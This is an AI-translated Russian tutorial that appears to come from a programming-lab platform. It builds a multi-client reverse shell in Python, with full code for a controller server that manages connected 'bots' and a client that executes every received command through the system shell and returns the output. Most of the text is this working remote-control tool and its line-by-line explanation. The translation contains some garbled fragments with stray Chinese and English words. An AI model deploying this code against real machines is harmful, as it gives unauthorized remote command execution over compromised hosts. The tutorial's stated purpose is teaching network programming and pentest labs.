Обратный шелл для управления несколькими целевыми объектами

PythonPythonBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом проекте вы научитесь создавать обратный шелл с использованием Python, который позволяет вам управлять несколькими скомпрометированными машинами, также называемыми "ботами". В отличие от традиционных шеллов, обратный шелл инициализирует соединение от бота до контроллера, что позволяет управлять удаленными хостами даже за防火walls или NAT. Этот метод широко используется в практиках кибербезопасности для проведения тестирования проникновения и управления контролируемыми средами безопасным образом.

Прежде чем приступить к реализации, важно понять основные концепции, лежащие в основе нашего приложения с обратным шеллом, включая архитектуру клиент-сервер (C/S) и Протокол управления передачей (TCP).

Архитектура C/S включает клиента, который запрашивает услуги, и сервер, который предоставляет услуги. В нашем случае боты действуют как клиенты, инициализирующие соединения с нашим сервером, что позволяет нам выполнять команды на них удаленно.

Мы будем использовать TCP для надежного, ориентированного на соединение общения между сервером и клиентами. TCP гарантирует, что данные передаются точно и в порядке, что необходимо для выполнения команд и получения ответов без ошибок.

👀 Предварительный просмотр

Выполнение команды обратного шелла

🎯 Задачи

В этом проекте вы научитесь:

  • Как понять архитектуру клиент-сервер (C/S) и Протокол управления передачей (TCP) как основу сетевого общения.
  • Как настроить сервер, который слушает входящие соединения от нескольких клиентов (ботов).
  • Как создать клиентские скрипты, которые подключаются к серверу и выполняют полученные команды.
  • Как реализовать функциональность выполнения команд и получения результатов на сервере для взаимодействия с подключенными клиентами.
  • Как управлять несколькими соединениями клиентов одновременно и переключаться между ними для отправки команд.

🏆 Достижения

После завершения этого проекта вы сможете:

  • Показать мастерство основных принципов модели клиент-сервер и TCP для надежного сетевого общения.
  • Реализовать много клиентский обратный шелл сервер на Python.
  • Создать клиентские скрипты, которые могут подключаться к удаленному серверу и выполнять команды, отправленные сервера.
  • Управлять несколькими соединениями и управлять общением с несколькими клиентами в контролируемой среде.
  • Применить практический опыт в сетевом программировании и понимание его приложений в кибербезопасности и управлении удаленными системами.

Инициализация класса сервера

В файле с именем server.py начните с базовой структуры класса Server.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

Класс Server предназначен для создания сервера, который может обрабатывать несколько соединений клиентов, обычно называемых "ботами" в контексте приложения с обратным шеллом. Рассмотрим компоненты и функциональность, определенные в методе инициализации (__init__):

  1. Импортные инструкции:
    • import socket: Это импортирует встроенный в Python модуль socket, который обеспечивает необходимые функциональные возможности для сетевого общения. Сокеты являются конечными точками двунаправленного канала связи и могут использоваться для подключения и общения с клиентами.
    • import threading: Это импортирует модуль threading, позволяющий создавать несколько потоков внутри процесса. Это необходимо для обработки нескольких соединений клиентов одновременно без блокирования основного потока выполнения сервера.
  2. Определение класса:
    • class Server:: Эта строка определяет класс Server, который encapsulates функциональные возможности, необходимые для операций сервера в приложении с обратным шеллом.
  3. Метод инициализации (__init__):
    • def __init__(self, host='0.0.0.0', port=7676):: Этот метод инициализирует новый экземпляр класса Server. Он имеет два параметра с начальными значениями:
      • host='0.0.0.0': По умолчанию используется адрес хоста '0.0.0.0', чтобы указать, что сервер должен слушать все сетевые интерфейсы. Это делает сервер доступным с любого IP-адреса, который может иметь машина.
      • port=7676: Это номер порта, на котором сервер будет слушать входящие соединения. Номера портов используются для различения между разными службами, работающими на одной машине. Выбор номера порта 7676 произвольный и может быть изменен в зависимости от предпочтений или требований пользователя.
  4. Переменные экземпляра:
    • self.host: Это хранит адрес хоста, на котором сервер будет слушать входящие соединения.
    • self.port: Это хранит номер порта, на котором сервер будет слушать.
    • self.clients = []: Это инициализирует пустой список для отслеживания подключенных клиентов. Каждый подключенный клиент будет добавлен в этот список, что позволяет серверу управлять и общаться с несколькими клиентами.
    • self.current_client = None: Эта переменная используется для отслеживания текущего выбранного клиента (если есть) для отправки команд или приема данных.
    • self.exit_flag = False: Этот флаг используется для управления основным циклом сервера. Установка этого флага в True будет сигнализировать серверу о необходимости выключиться gracefully.
    • self.lock = threading.Lock(): Это создает объект блокировки потока, который является примитивом синхронизации. Блокировки используются для обеспечения того, чтобы только один поток мог доступать к или модифицировать общие ресурсы одновременно, предотвращая конфликты и обеспечивая целостность данных.
✨ Проверить решение и практиковаться

Запуск TCP-сервера

Реализуйте метод run, чтобы запустить сервер и слушать соединения.

## продолжаем в server.py
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Сервер слушает порт {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

Метод run является частью класса Server, который запускает TCP-сервер и начинает слушать входящие соединения от клиентов (или "ботов" в контексте обратного шелла). Вот, что происходит в этом методе:

  1. Создание сокета:
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Эта строка создает новый сокет с использованием оператора with, гарантируя автоматическое закрытие сокета, когда он больше не нужен. Аргумент socket.AF_INET указывает, что сокет будет использовать IPv4-адресацию, а socket.SOCK_STREAM показывает, что это TCP-сокет, который обеспечивает надежное, ориентированное на соединение общение.
  2. Привязка сокета:
    • server_socket.bind((self.host, self.port)): Метод bind связывает сокет с определенным сетевым интерфейсом и номером порта. В данном случае он связывает сокет с атрибутами host и port экземпляра класса Server, готовя его к прослушиванию входящих соединений на этом адресе и порту.
  3. Слушание соединений:
    • server_socket.listen(10): Эта строка заставляет сокет начать слушать входящие соединения. Аргумент 10 задает максимальное количество очередных соединений (задержка), перед тем как сервер начнет отклонять новые соединения. Это не ограничивает общее количество одновременных соединений, а только количество, которое может ждать приема.
  4. Отображение сообщения о запуске сервера:
    • print(f"Сервер слушает порт {self.port}..."): Выводит сообщение в консоль, указывающее, что сервер запущен и работает, слушая соединения на указанном порту.
  5. Обработка входящих соединений:
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Эта строка инициализирует новый объект Thread, устанавливая его цель на метод self.wait_for_connections с аргументом server_socket. Предполагается, что этот метод (не показан в сниппете) предназначен для непрерывного приема входящих соединений в цикле и добавления их в список self.clients.
    • connection_thread.start(): Запускает поток, вызывая метод self.wait_for_connections в отдельном потоке выполнения. Это позволяет серверу продолжать выполнять остальную часть метода run без блокировки при ожидании соединений.
  6. Основной цикл сервера:
    • while not self.exit_flag:: Этот цикл продолжает выполняться, пока self.exit_flag остается False. Внутри этого цикла сервер может выполнять задачи, такие как управление подключенными клиентами или обработка команд сервера.
    • if self.clients:: Проверяет, есть ли подключенные клиенты в списке self.clients.
      • self.select_client(): Метод (не показан в сниппете), который, предположительно, позволяет оператору сервера выбрать одного из подключенных клиентов для взаимодействия. Это может включать отправку команд клиенту или получение данных.
      • self.handle_client(): Другой метод (не показан), который, вероятно, обрабатывает взаимодействие с выбранным клиентом. Это может включать чтение команд от оператора сервера, отправку их клиенту и отображение ответа клиента.

Такая структура настраивает сервер на прослушивание и управление несколькими соединениями клиентов в неблокирующем режиме, используя потоки для одновременной обработки приема соединений и управления клиентами.

✨ Проверить решение и практиковаться

Прием входящих соединений

Добавьте метод wait_for_connections, чтобы управлять входящими соединениями клиентов в отдельном потоке.

## продолжаем в server.py
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"Новое соединение от {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

Метод wait_for_connections предназначен для непрерывного прослушивания и приема входящих соединений клиентов на сервере. Этот метод предназначен для запуска в отдельном потоке, что позволяет серверу выполнять другие задачи (например, взаимодействовать с подключенными клиентами) без блокировки вызова accept, который ожидает нового соединения. Вот подробный разбор:

  1. Постоянный цикл прослушивания:
    • while not self.exit_flag:: Этот цикл продолжает работать, пока self.exit_flag равно False. Цель этого флага - обеспечить контролируемый способ остановки сервера, включая этот цикл прослушивания. Когда self.exit_flag устанавливается в True, цикл будет завершен, что фактически остановит сервер от приема новых соединений.
  2. Прием соединений:
    • client_socket, client_address = server_socket.accept(): Метод accept ожидает входящего соединения. Когда клиент подключается, он возвращает новый объект сокета (client_socket), представляющий соединение, и кортеж (client_address), содержащий IP-адрес и номер порта клиента. Эта строка блокирует выполнение потока до тех пор, пока не будет получено новое соединение.
  3. Уведомление о соединении:
    • print(f"Новое соединение от {client_address[0]}"): Как только новое соединение принято, на консоль выводится сообщение с указанием IP-адреса нового подключенного клиента. Это полезно для логирования и мониторинга.
  4. Безопасное управление клиентами в многопоточной среде:
    • with self.lock:: Это использует блокировку потока (self.lock), которая приобретается в начале блока и автоматически освобождается в конце. Цель блокировки - обеспечить безопасный доступ к общими ресурсам, в данном случае списку self.clients. Это至关重要 в многопоточной среде для предотвращения искажения данных и обеспечения согласованности.
    • self.clients.append((client_socket, client_address)): Внутри защищенного блока метод добавляет новый сокет и адрес клиента в виде кортежа в список self.clients. Этот список отслеживает все подключенные клиентов, что позволяет серверу взаимодействовать с ними отдельно позже.

Этот метод гарантирует, что сервер может обрабатывать входящие соединения одновременно с другими задачами, безопасно управляя списком подключенных клиентов для дальнейшего взаимодействия. Использование потоков и блокировок необходимо для поддержания производительности и целостности данных в многопоточной среде.

✨ Проверить решение и практиковаться

Реализация функций взаимодействия с клиентами

Реализуйте функции для выбора и взаимодействия с подключенными клиентами.

## продолжаем в server.py
    def select_client(self):
        print("Доступные клиенты:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Выберите клиента по индексу: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Выход из сервера...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

Функции select_client и handle_client являются важными компонентами для взаимодействия с подключенными клиентами в среде сервера обратного шелла. Вот, как работает каждая функция:

Функция select_client

Эта функция отвечает за перечисление всех текущих подключенных клиентов и позволяет оператору сервера выбрать одного для взаимодействия:

  • print("Доступные клиенты:"): Отображает сообщение, указывающее, что далее будет перечисление доступных клиентов.
  • for index, (_, addr) in enumerate(self.clients):: Перебирает список self.clients, который содержит кортежи из сокетов клиентов и адресов. _ является заготовкой для сокета клиента, которая не нужна в этом контексте, а addr - это адрес клиента. Функция enumerate добавляет индекс к каждому элементу.
  • print(f"[{index}]-> {addr[0]}"): Для каждого клиента выводит индекс и IP-адрес клиента. Это позволяет оператору легко увидеть, сколько и какие клиенты подключены.
  • index = int(input("Выберите клиента по индексу: ")): Предлагает оператору сервера ввести индекс клиента, с которым он хочет взаимодействовать. Это введенное значение преобразуется в целое число и сохраняется в index.
  • self.current_client = self.clients[index]: Устанавливает self.current_client в кортеж клиента (сокет и адрес), соответствующий выбранному индексу. Этот клиент будет целевой для последующих команд.

Функция handle_client

Эта функция облегчает отправку команд выбранному клиенту и получение ответов от него:

  • client_socket, client_address = self.current_client: Распаковывает кортеж self.current_client в client_socket и client_address.
  • while True:: Входит в бесконечный цикл, позволяя оператору сервера непрерывно отправлять команды клиенту, пока не будет введена специальная команда.
  • command = input(f"{client_address[0]}:~## "): Предлагает оператору сервера ввести команду. Подсказка содержит IP-адрес текущего клиента для ясности.
  • if command == '!ch':: Проверяет, введена ли специальная команда !ch, которая является сигналом для изменения текущего клиента. Если да, выходит из цикла, чтобы оператор сервера мог выбрать нового клиента.
  • if command == '!q':: Проверяет, введена ли команда для выхода из сервера (!q). Если да, устанавливает self.exit_flag в True, чтобы завершить цикл сервера и выйти из цикла обработки клиента.
  • client_socket.send(command.encode('utf-8')): Отправляет введенную команду клиенту. Команда кодируется в байты с использованием кодировки UTF-8, так как для сетевого общения данные должны быть в байтах.
  • response = client_socket.recv(1024): Ожидает и получает ответ от клиента. Вызов recv(1024) задает, что будет прочитано не более 1024 байт. Для больших ответов это может потребовать настройки или обработки в цикле.
  • print(response.decode('utf-8')): Декодирует полученный байтовый ответ с использованием UTF-8 и выводит его. Это показывает оператору сервера результат выполнения команды на машине клиента.

Эти функции совместно позволяют оператору сервера управлять несколькими подключенными клиентами, отправлять им команды и просматривать их ответы, что являются основными возможностями для сервера обратного шелла.

✨ Проверить решение и практиковаться

Запуск сервера

Добавьте точку входа для создания экземпляра и запуска сервера.

## продолжаем в server.py
if __name__ == "__main__":
    server = Server()
    server.run()

Эта часть скрипта запускает сервер при выполнении скрипта, позволяя ему принимать и управлять соединениями от клиентов.

✨ Проверить решение и практиковаться

Создание клиента

Далее, создадим клиентскую (ботовую) сторону. Клиент подключится к серверу и выполнит полученные команды.

В файле client.py добавьте следующее содержимое:

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

Скрипт client.py показывает, как клиент (или "бот" в контексте обратного шелла) подключается к серверу и обрабатывает входящие команды. Вот пошаговое объяснение:

  • def connect_to_server(host, port):: Определяет функцию, которая принимает хост и номер порта для подключения к серверу.
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: Создает объект сокета с использованием IPv4-адресации (AF_INET) и TCP (SOCK_STREAM), гарантируя автоматическое закрытие после выхода из блока with.
  • sock.connect((host, port)): Инициализирует соединение с сервером по указанному хосту и порту.
  • while True:: Входит в бесконечный цикл для непрерывного прослушивания команд от сервера.
  • command = sock.recv(1024).decode('utf-8'): Ожидает получение команды от сервера, считывая до 1024 байт. Затем полученные байты декодируются с использованием UTF-8 для преобразования их обратно в строку.
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): Выполняет полученную команду с использованием системной оболочки. stdout=subprocess.PIPE и stderr=subprocess.PIPE соответственно захватывают стандартный вывод и стандартную ошибку команды.
  • output = result.stdout.decode(sys.getfilesystemencoding()): Декодирует вывод выполнения команды из байтов в строку с использованием кодировки файловой системы, что гарантирует правильную интерпретацию символов, специфичных для файловой системы системы.
  • sock.send(output.encode('utf-8')): Отправляет результат выполнения команды обратно на сервер, кодируя его в UTF-8 для преобразования строки обратно в байты, подходящие для передачи по сети.
  • time.sleep(1): Приостанавливает выполнение на 1 секунду перед прослушиванием следующей команды. Это обычно используется для предотвращения перегрузки сети или сервера быстрыми, непрерывными запросами.

Этот клиентский скрипт эффективно превращает машину, на которой он выполняется, в "бота", который подключается к указанному серверу, ожидает команд, выполняет их и возвращает результаты. Такая схема типична для контролируемых сред в практике кибербезопасности, таких как лаборатории пентеста, где исследователи моделируют атаки и защиты, чтобы лучше понять и улучшить меры безопасности.

✨ Проверить решение и практиковаться

Тестирование настройки

Наконец, давайте протестируем нашу настройку обратного шелла, чтобы убедиться, что она работает как ожидается.

Запуск сервера

Во - первых, запустите скрипт server.py в окне терминала:

python server.py
Запуск клиента

Откройте отдельное окно терминала:

Открытие нового окна терминала

Запустите скрипт client.py:

python client.py
Выполнение команд

В терминале сервера:

Терминал сервера с выбором клиента

Вы должны быть able выбрать подключенного клиента и выполнить команды. Например, попробуйте вывести содержимое директории:

ls /

В терминале сервера должно отображаться выполнение команды ls / на машине клиента.

Вывод команды ls в терминале сервера

Резюме

В этом проекте вы узнали, как реализовать базовый обратный шелл с использованием Python, используя архитектуру клиент-сервер и TCP для коммуникации. Вы настроили сервер, который слушает соединения от клиентов (ботов) и отправляет им команды. Эта техника является фундаментальным навыком в сетевом программировании и кибербезопасности, демонстрируя мощь и гибкость Python при управлении удаленными системами.